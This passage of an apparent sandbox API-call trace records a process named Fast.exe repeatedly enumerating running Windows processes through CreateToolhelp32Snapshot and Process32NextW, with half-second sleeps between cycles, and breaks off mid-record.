szExeFile="Fast.exe")) returned 1 [0244.121] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0244.122] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0244.123] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0244.124] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0244.125] CloseHandle (hObject=0xe0) returned 1 [0244.125] Sleep (dwMilliseconds=0x1f4) [0244.752] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c8 [0244.755] Process32FirstW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0244.756] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0244.758] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0244.759] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0244.760] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0244.761] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0244.762] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0244.763] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0244.764] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0244.765] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0244.766] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.767] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.768] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.768] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.769] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.770] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0244.775] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.776] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.776] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0244.777] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.778] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0244.779] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0244.780] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0244.781] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0244.782] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0244.783] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0244.784] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0244.785] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0244.786] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0244.786] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0244.787] CloseHandle (hObject=0x1c8) returned 1 [0244.787] Sleep (dwMilliseconds=0x1f4) [0245.390] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e0 [0245.394] Process32FirstW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0245.395] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0245.395] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0245.397] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0245.398] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0245.399] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0245.399] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0245.400] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0245.401] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0245.402] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0245.403] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.403] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.404] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.405] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.406] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.407] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0245.407] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.409] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.409] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0245.410] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.411] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0245.416] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0245.417] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0245.418] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0245.419] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0245.420] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0245.421] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0245.421] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0245.422] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0245.423] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0245.424] CloseHandle (hObject=0x1e0) returned 1 [0245.425] Sleep (dwMilliseconds=0x1f4) [0246.099] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f0 [0246.103] Process32FirstW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0246.104] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0246.105] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0246.106] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0246.107] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0246.107] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0246.108] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0246.109] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0246.110] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0246.111] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0246.112] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.113] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.115] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.115] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.116] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.117] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0246.118] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.119] Process32NextW (in: hSnapshot=0x1f0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, 